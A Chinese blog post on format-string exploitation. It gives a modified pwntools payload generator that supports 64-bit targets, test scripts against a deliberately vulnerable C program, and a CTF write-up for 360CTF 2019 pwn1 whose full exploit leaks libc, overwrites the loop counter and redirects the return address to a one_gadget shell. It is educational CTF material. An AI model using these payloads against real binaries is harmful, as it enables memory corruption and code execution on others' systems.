格式化字符串串总结 我觉得总结格式化字符串,拿大量的例题不如自己写下payload自动生成,payload又分32位跟64位,不过原理是一样的,不过64位地址有太多的00,printf有00截断,所以要将地址放后面,不能放前面 本来还想从头写的,我觉得站在巨人的肩膀上干事更快
既然pwntools他的payload不支持64位,我们稍微改动下或许可以让他支持64位的
至于堆上和bss上的格式化字符串,就以360那道为例子讲了
payload生成 我通过修改这部分的源代码来总结下格式化字符串,经过我修改的代码后,既可以适应64位格式化字符串,也可以适应32位格式化字符串,不过无法适应坏字符,比如scanf的截断等等 当然这只是我个人测试了而已,测试能写,适应byte,short,int的写入
源码对比 这份是未改动的,当然也删掉了注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 def fmtstr_payload (offset, writes, numbwritten=0 , write_size='byte' ) : config = { 32 : { 'byte' : (4 , 1 , 0xFF , 'hh' , 8 ), 'short' : (2 , 2 , 0xFFFF , 'h' , 16 ), 'int' : (1 , 4 , 0xFFFFFFFF , '' , 32 )}, 64 : { 'byte' : (8 , 1 , 0xFF , 'hh' , 8 ), 'short' : (4 , 2 , 0xFFFF , 'h' , 16 ), 'int' : (2 , 4 , 0xFFFFFFFF , '' , 32 ) } } if write_size not in ['byte' , 'short' , 'int' ]: log.error("write_size must be 'byte', 'short' or 'int'" ) number, step, mask, formatz, decalage = config[context.bits][write_size] payload = "" for where, what in writes.items(): for i in range(0 , number*step, step): payload += pack(where+i) numbwritten += len(payload) fmtCount = 0 for where, what in writes.items(): for i in range(0 , number): current = what & mask if numbwritten & mask <= current: to_add = current - (numbwritten & mask) else : to_add = (current | (mask+1 )) - (numbwritten & mask) if to_add != 0 : payload += "%{}c" .format(to_add) payload += "%{}${}n" .format(offset + fmtCount, formatz) numbwritten += to_add what >>= decalage fmtCount += 1 return payload
这份是我改动过后的,我这里将大段注释都删掉了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 def fmtstr_payload (offset, writes, numbwritten=0 , write_size='byte' ) : config = { 32 : { 'byte' : (4 , 1 , 0xFF , 'hh' , 8 ), 'short' : (2 , 2 , 0xFFFF , 'h' , 16 ), 'int' : (1 , 4 , 0xFFFFFFFF , '' , 32 )}, 64 : { 'byte' : (8 , 1 , 0xFF , 'hh' , 8 ), 'short' : (4 , 2 , 0xFFFF , 'h' , 16 ), 'int' : (2 , 4 , 0xFFFFFFFF , '' , 32 ) } } if write_size not in ['byte' , 'short' , 'int' ]: log.error("write_size must be 'byte', 'short' or 'int'" ) number, step, mask, formatz, decalage = config[context.bits][write_size] payload = "" fmtCount = 0 part = [] for where, what in writes.items(): for i in range(0 , number*step, step): current = what & mask part.append( (current, pack(where+i)) ) what >>= decalage part.sort(key=lambda tup:tup[0 ]) size = [] for i in range(number): size.append(part[i][0 ]) for i in range(0 , number): if numbwritten & mask <= size[i]: to_add = size[i] - (numbwritten & mask) else : to_add = (size[i] | (mask+1 )) - (numbwritten & mask) if to_add != 0 : payload += "%{}c" .format(to_add) payload += "%{}${}n" .format(offset + fmtCount, formatz) numbwritten += to_add fmtCount += 1 align = 0x10 - (len(payload) & 0xf ) payload += align * 'a' numbwritten += align addr = '' .join(x[1 ] for x in part) payload += addr return payload
源码讲解 既然知道问题出在哪,其实最快的方法是将
1 2 3 for where, what in writes.items(): for i in range(0 , number*step, step): payload += pack(where+i)
这段打包地址的放到最后面,这样就可以支持64位了,可我还发觉里面有一点小问题,这里的话地址没对齐,不能直接写,所以要先对齐地址
1 2 3 4 5 6 7 align = 0x10 - (len(payload) & 0xf ) payload += align * 'a' numbwritten += align for where, what in writes.items(): for i in range(0 , number*step, step): payload += pack(where+i)
这样对齐后放到最后面就可以了 移动对齐过后写是能写了,可是会出小问题,因为他没排序,他是直接将要写入的大小,每个字节对上而已,如果过大他就写负数,也就是那个负数对应的int值,然而这样在64位是行不通的,具体原因目前不详,他打印int类型的负数,没法减少rbx的值了,所以没得办法,排序呗 因为写入大小的顺序问题很重要,比如有一个数组,[0x1, 0x8,0x5], 写入的顺序不应该是1,8,5 而应该是1,5,8,因为格式化字符串漏洞任意写的原理,是将你打印的字符个数写入指定的地址,而你现在先打印了8个的话,5个就没法打印了,32位仍然可以用负数降低值,这我也不知道为何,所以我们将地址以及size进行排序,对应起来,到时候先写小的,在写大的就行了
初始化变量 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 config = { 32 : { 'byte' : (4 , 1 , 0xFF , 'hh' , 8 ), 'short' : (2 , 2 , 0xFFFF , 'h' , 16 ), 'int' : (1 , 4 , 0xFFFFFFFF , '' , 32 )}, 64 : { 'byte' : (8 , 1 , 0xFF , 'hh' , 8 ), 'short' : (4 , 2 , 0xFFFF , 'h' , 16 ), 'int' : (2 , 4 , 0xFFFFFFFF , '' , 32 ) } } if write_size not in ['byte' , 'short' , 'int' ]: log.error("write_size must be 'byte', 'short' or 'int'" ) number, step, mask, formatz, decalage = config[context.bits][write_size] payload = "" fmtCount = 0 part = []
前面的设置就是设置对应字节大小什么的,以及写入方式 payload为空,fmtCount表示已经生成payload写入的个数,part进行排序对应,初始为空
接下来划分地址以及进行排序 1 2 3 4 5 6 7 for where, what in writes.items(): for i in range(0 , number*step, step): current = what & mask part.append( (current, pack(where+i)) ) what >>= decalage part.sort(key=lambda tup:tup[0 ])
注意,这里步长要跟跟设置一样,这样才能地址跳着来
获取写入大小,按升序 1 2 3 4 size = [] for i in range(number): size.append(part[i][0 ])
生成payload 1 2 3 4 5 6 7 8 9 10 for i in range(0 , number): if numbwritten & mask <= size[i]: to_add = size[i] - (numbwritten & mask) else : to_add = (size[i] | (mask+1 )) - (numbwritten & mask) if to_add != 0 : payload += "%{}c" .format(to_add) payload += "%{}${}n" .format(offset + fmtCount, formatz) numbwritten += to_add fmtCount += 1
这里我改动源码这是将curren改为size,因为原来的是照着顺序来的,现在我是排过序后来的,这样我就能小的先写,大的后写
字节对齐 1 2 3 4 align = 0x10 - (len(payload) & 0xf ) payload += align * 'a' numbwritten += align
这里就是通过一些计算对齐而已,因为地址放后面了,要对齐才能写指定地址
加上地址 1 2 3 4 addr = '' .join(x[1 ] for x in part) payload += addr return payload
这里就加上最后的地址就完事了
手动测试 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> int want= 0x80408050 ;int want1= 0x80408050 ;int want2= 0x80408050 ;int want3= 0x80408050 ;int main () { char buf[1000 ]; printf ("%p\n" , &want3); for (int i=0 ; i<10 ; i++) { fgets(buf, sizeof (buf), stdin ); printf (buf); } }
测试32位 测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *io = process('./a.out' ) addr = int(io.recvline(),16 ) print("addr-> " + hex(addr)) gdb.attach(io, "b printf\nc" ) context.arch='i386' payload = fmtstr_payload(13 , {addr:0x5 }, 0 , 'byte' ) print("---------------------------------------------" ) print(payload) print(len(payload)) io.sendline(payload) io.interactive()
测试byte写入 1 payload = fmtstr_payload(13 , {addr:0x5 }, 0 , 'byte' )
测试short写入 1 payload = fmtstr_payload(9 , {addr:0x5 }, 0 , 'short' )
测试int写入 1 payload = fmtstr_payload(9 , {addr:0x5 }, 0 , 'int' )
测试64位 测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *io = process('./a.out' ) addr = int(io.recvline(),16 ) print("addr-> " + hex(addr)) gdb.attach(io, "b printf\nc" ) context.arch='amd64' payload = fmtstr_payload(14 , {addr:0x5 }, 0 , 'byte' ) print("---------------------------------------------" ) print(payload) print(len(payload)) io.sendline(payload) io.interactive()
测试byte写入 1 payload = fmtstr_payload(14 , {addr:0x5 }, 0 , 'byte' )
测试short写入 1 payload = fmtstr_payload(10 , {addr:0x5 }, 0 , 'short' )
测试int写入 1 payload = fmtstr_payload(8 , {addr:0x5 }, 0 , 'int' )
另外一些小tips 综合多方面知识考虑格式化字符串
got表攻击 在RELRO保护没开的时候可以考虑一下got表攻击,利用printf写got表,然后通过atoi类似的传参,就可以直接system了
还有,如果找不到got表,可以利用stack_check_fail,故意报错执行这个函数
fini_array攻击 由于在程序结束前会调用fini_array里的函数指针,所以我们可以通过攻击这个达到二次循环
循环条件攻击 我们可以攻击for循环条件,比如将for(int i=0; i< num; i++) 这个num是个全局变量,我们通过覆盖它达到多次格式化字符串漏洞利用的目的
360初赛-pwn1 格式化字符串的题目,不过不是常规的栈格式化字符串,放到了bss段里的格式化字符串,当初做的时候不知道,以为常规。。。剩半个钟的时候发觉了,然后也没做了,后面复盘把他做了,发觉也不是那么一蹴而就的,有点意思
还有个点我不清楚。当时远程泄露libc我是查不到的,所以这个我不知道该如何解决?希望各位大佬能指点一二
漏洞点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __cdecl main (int argc, const char **argv, const char **envp) { int i; char buf; unsigned int v6; int *v7; v7 = &argc; v6 = __readgsdword(0x14 u); setbuf(stdout , 0 ); setbuf(stdin , 0 ); puts ("welcome to 360CTF_2019" ); for ( i = 0 ; i < N; ++i ) { puts ("1. Input" ); puts ("2. Exit" ); read(0 , &buf, 4u ); if ( atoi(&buf) != 1 ) { if ( atoi(&buf) != 2 ) return 0 ; break ; } puts ("It's time to input something" ); read(0 , &buff, 0x10 u); printf ((const char *)&buff); } puts ("Good luck to you!" ); return 0 ; }
漏洞点很明显就是格式化字符串,N数值为3,所以目前来说只有三次机会,注意buff是在bss段的
利用过程 格式化字符串第一步当然是泄露信息啊
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 gdb-peda$ stack 25 0000| 0xffb1738c ("!XUV\020pUV\020pUV\020" ) 0004| 0xffb17390 --> 0x56557010 ("%22$x %15$x \n" ) 0008| 0xffb17394 --> 0x56557010 ("%22$x %15$x \n" ) 0012| 0xffb17398 --> 0x10 0016| 0xffb1739c ("7WUV\374s\360\367\270oUVtt\261\377\001" ) 0020| 0xffb173a0 --> 0xf7f073fc --> 0xf7f08980 --> 0x0 0024| 0xffb173a4 --> 0x56556fb8 --> 0x1ed8 0028| 0xffb173a8 --> 0xffb17474 --> 0xffb183ba ("./7631454338ff70b1a6b1262f5f36beac" ) 0032| 0xffb173ac --> 0x1 0036| 0xffb173b0 --> 0x1 0040| 0xffb173b4 --> 0x0 0044| 0xffb173b8 --> 0xffb10a31 --> 0x0 0048| 0xffb173bc --> 0x84188400 0052| 0xffb173c0 --> 0xffb173e0 --> 0x1 0056| 0xffb173c4 --> 0x0 0060| 0xffb173c8 --> 0x0 0064| 0xffb173cc --> 0xf7d4e7e1 (<__libc_start_main+241>: add esp,0x10) 0068| 0xffb173d0 --> 0xf7f07000 --> 0x1d6d6c 0072| 0xffb173d4 --> 0xf7f07000 --> 0x1d6d6c 0076| 0xffb173d8 --> 0x0 0080| 0xffb173dc --> 0xf7d4e7e1 (<__libc_start_main+241>: add esp,0x10) 0084| 0xffb173e0 --> 0x1 0088| 0xffb173e4 --> 0xffb17474 --> 0xffb183ba ("./7631454338ff70b1a6b1262f5f36beac" ) 0092| 0xffb173e8 --> 0xffb1747c --> 0xffb183dd ("MYVIMRC=/home/NoOne/.vimrc" ) 0096| 0xffb173ec --> 0xffb17404 --> 0x0
第一次格式化字符串我选了两个地方,%22$x%15$x 也就是上面的64跟92处,为什么选这两个位置呢?因为第一个,存了libc地址,第二个存了栈地址,并且他还有二级指针指向栈,这是必须的,因为格式化字符串写在了bss段,要在栈里写东西的话,只能通过二级指针,第一步先将这个地址泄露出来,第二步,往这个地址里写东西,因为这个地址本身就是栈里的嘛,所以写进去后,地址就在栈里了,所以就可以跟常规格式化字符串一样利用了
还有一点,只有三次机会,并且限制了大小,我第一次泄露,第二次写入要写入的地址,第三次写入的时候长度明显不够,所以我需要增大次数,所以要找到变量i或者N的地址,N的地址我是找不到,所以我找了i,他是个有符号数,我把他高位改成0xff,就可以变成负数,经过测试,上述40处为i,80处为返回地址,
返回地址可以用find找到,找栈里的libc_start_main存在的地方就是ret
i调试下就出来了,三次会变化的地方
准备部分 1 2 3 4 5 6 7 8 9 10 11 def Input (content) : sla("2. Exit\n" , "1" ) sla("It's time to input something\n" , content) def write (size1, size2) : payload = "%{}p%{}$hn" .format(size1, 21 ) Input(payload) payload = "%{}p%{}$hn" .format(size2, 57 ) Input(payload) payload ="123456781234567" Input(payload)
地址泄露部分 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 payload = "%22$x%15$x" Input(payload) stack_addr = int(r(8 ), 16 ) ret = stack_addr - 0xa0 count = stack_addr - 0xc8 __libc_start_main_addr = int(r(8 ), 16 )-241 lg("stack_addr" , stack_addr) lg("ret_addr" , ret) lg("libc_start_main" , __libc_start_main_addr) lg("count" , count) libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main' ] one_gadget = [0x1395ba , 0x1395bb ] one_gadget = libc_base + one_gadget[0 ] lg("one_gadget" , one_gadget) system_addr = libc_base + libc.symbols['system' ]
修改变量i 1 write(0xffff & count + 2 , 0xffff )
至于偏移为什么是这个,需要你们自己去调试,二级指针那个点位就是那个地方,还有修改后四位够了,栈里的位置,注意,这里是修改的是i的地址+2部分,也就是4个字节的前两个字节部分,修改为0xffff
修改ret地址 1 2 3 write(0xffff & ret, 0xffff & one_gadget) write((0xffff &ret) + 2 , (0xffff0000 & one_gadget)>>16 ) sla("2. Exit\n" , "2" )
这里先写后两个字节,在写前两个字节,写成one_gadget
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *local = 1 host = '127.0.0.1' port = 10000 context.log_level = 'debug' exe = './7631454338ff70b1a6b1262f5f36beac' context.binary = exe elf = ELF(exe) libc = elf.libc if local: io = process(exe) else : io = remote(host,port) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) ru = lambda delim,drop=True : io.recvuntil(delim, drop) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda name,data : io.success(name + ": 0x%x" % data) def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) gdb.attach(io,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(io,"b *{}" .format(hex(addr))) def Input (content) : sla("2. Exit\n" , "1" ) sla("It's time to input something\n" , content) def write (size1, size2) : payload = "%{}p%{}$hn" .format(size1, 21 ) Input(payload) payload = "%{}p%{}$hn" .format(size2, 57 ) Input(payload) payload ="123456781234567" Input(payload) def exp () : payload = "%22$x%15$x" Input(payload) stack_addr = int(r(8 ), 16 ) ret = stack_addr - 0xa0 count = stack_addr - 0xc8 __libc_start_main_addr = int(r(8 ), 16 )-241 lg("stack_addr" , stack_addr) lg("ret_addr" , ret) lg("libc_start_main" , __libc_start_main_addr) lg("count" , count) libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main' ] one_gadget = [0x1395ba , 0x1395bb ] one_gadget = libc_base + one_gadget[0 ] lg("one_gadget" , one_gadget) system_addr = libc_base + libc.symbols['system' ] write(0xffff & count + 2 , 0xffff ) write(0xffff & ret, 0xffff & one_gadget) write((0xffff &ret) + 2 , (0xffff0000 & one_gadget)>>16 ) sla("2. Exit\n" , "2" ) if __name__ == '__main__' : exp() io.interactive()
总结 格式化字符串的总结其实偏向于工具的利用,因为这个类型题目其实就是数学计算,没啥新奇的,还有就是加各种限制条件上去而已 这个payload只适用于极少数的题目,因为现在的格式化字符串都不会出那种直接写值的了,通过泄露地址,然后在利用而已,他只是一个辅助作用 格式化字符串推荐大家用Pwngdb去计算偏移,github上找得到,这个方便的很,直接通过stack查看到具体地址存放在哪,fmtarg 地址,然后就计算出偏移了 本文作者 :NoOne本文地址 : https://noonegroup.xyz/posts/5bb0cb7d/ 版权声明 :转载请注明出处!